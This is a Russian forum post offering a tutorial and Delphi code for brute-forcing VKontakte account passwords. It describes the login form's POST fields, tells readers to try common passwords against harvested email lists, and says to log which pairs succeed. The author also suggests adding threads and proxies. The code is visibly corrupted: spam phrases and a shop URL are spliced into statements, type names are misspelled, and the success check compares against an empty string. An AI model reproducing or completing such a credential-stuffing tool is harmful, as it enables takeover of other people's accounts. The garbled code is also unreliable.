Приветствую Вас Гость | RSS

Мой сайт

Воскресенье, 24.11.2024, 01:59
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Брут ВКонтакте
sav1at0rДата: Среда, 21.07.2010, 22:29 | Сообщение # 1
Сообщений: 384
Репутация: 121
Что ж прежде, чем приступить к изложению своих мыслей по теме, оговорюсь, что вся представленная информация является следствием природного любопытства и никакого злого умысла в себе не несет. Использовать ее вы можете лишь на свой страх и риск, я за это никакой ответственности ни несу, просто делюсь опытом.

Вообще, на реализацию основного программного кода у меня ушло от силы 30 минут, остальные же полтора часа я убил на разработку красивого GUI, обработку в фотошопе логотипа в «контакте» и прочую мишуру… =) И так, это не учебник для начинающих и описывать пошаговые действия я не буду, лишь расскажу общую концепцию действий и приведу программный код. Статья расчита на то, что вы владеете основными навыками написаний приложений в среде Delphi и хотя бы как то знакомы с принципами взаимодействия Делфи-Интернет.

Как известно брут это тупой подбор пароля, либо по словарю, либо вообще случайным образом. Соответственно, каким образом можно осуществить подбор пароля к сайту Вконтакте, а для начала – что нам понадобится? Авторизация на сайте происходит по средствам ввода e-mail адреса и пароля, значит, у нас должно быть: список e-mail адресов (любой - в контакте больше 10 миллионов пользователей и любой список, даже двух летней давности скорей всего даст результат), к этим адресам мы будем подбирать пароли, и, собственно, сам список паролей либо просто один распространенный пароль (например «qwerty» или «123456»).

Отлично. Теперь разберем план действий, который в принципе просто элементарен. Просмотрев HTML код главной страницы в контакте можно выяснить следующее:

* Введенные e-mail и пароль отправляются скрипту login.php методом POST
* В пост запросе e-mail содержится в поле «email»
* В пост запросе пароль содержится в поле «pass»
* После получения запроса скрипт login.php проверяет данные и загружает соответствующую страницу профиля, либо страницу ошибки, если e-mail или пароль не верные.

В итоге нам нужно реализовать следующий алгоритм:

Блок схема алгоритма брутера

По данной схеме: «Действие 1» – действие в случае если пара логин/пароль подошла (то есть удачно подобрали), «Действие 2» – соответственно наоборот, не подошла.

Условие «подошло?» подразумевает проверку ответа сервера, я не придумал ничего умнее кроме как искать в ответе (сервер «отвечает» HTML код страницы) строку «<title>В Контакте | Вход</title>», то есть если сервер опять отправил нас на страницу входа, то значит пара логин/пароль не подошла, соответственно если этой строки нет – поздравляю мы вошли в чей-то аккаунт!

Приступим непосредственно к кодингу. Для работы с HTTP протоколом я выбрал компоненты Indy (класс TidHTTP), конечно это не лучший вариант, можно было использовать сокеты, но что уж поделаешь лентяй я… )))

В моем примере:

* Emails – объект TStringList, содержит список мыл
* Pass - – объект TStringList, содержит список паролей

Code
procedure Brute();
var
    emails:TStingList;  // список мыл
    pass:TStingList;    // список паролей
    post:TStingList;    // список полей пост запроса
    i,j:integer;           // счетчики циклов
begin
   email:=TStringList.Create; pass:=TStringList.Create;  // Инициализируем переменные
    // ================================================
    // тут заполняем мыла и пароли, а лучше грузим из файла
    // ================================================
    http:=TidHTTP.Create(nil);      // создаем HTTPClient
    http.HandleRedirects автокресло kiddy infinity pro 2009, Детское автокресло kiddy infinity pro :=true;   // это необходимо
    post:=tstringlist.Create;           // этот стринг лист содержит поля e-mail и пароль
    for i:=0 to emails.Count-1 do begin   // перебираем в цикле мыльники
      post.Clear;    // отчищаем
      post.Add('email='+emails.Strings[i]);    // указываем e-mail
      for j:=0 to pass.Count-1 do begin         // перебираем пароли для выбранного мыльника
        post.Add('pass='+pass.Strings[j]);       // указываем пароль
        result: http://bebiki.ru/katalog/products/vannochki/cam-stol-dlja-pelenanija-nuvola =http.Post('/',post);  // посылаем запрос
        if pos('',result)>;0 then  // проверяем ответ
          // неудачно подобрали. какое то действие
        else
          //  удачно подобрали. какое то действие, например записать в файл пару мыло/пароль
      end;
    end;
     
    // освободим переменные
    emails.Free;
    pass.Free;
    http.Free;
    post.Free;
end;

Конечно, это просто кусок основного кода, но я подробного расписал алгоритм и человеку с руками ничего не стоит доделать это все до «нормального» вида, прикрутить потоки и т.д.

В конечном итоге, помимо потоков в моем варианте я добавил еще и работу через прокси-сервер, выглядит это так:

Приятного кодинга! И не забывайте про УК РФ, все-таки «контакт» довольно крупный, и к тому же российский ресурс! =)

  • Страница 1 из 1
  • 1
Поиск: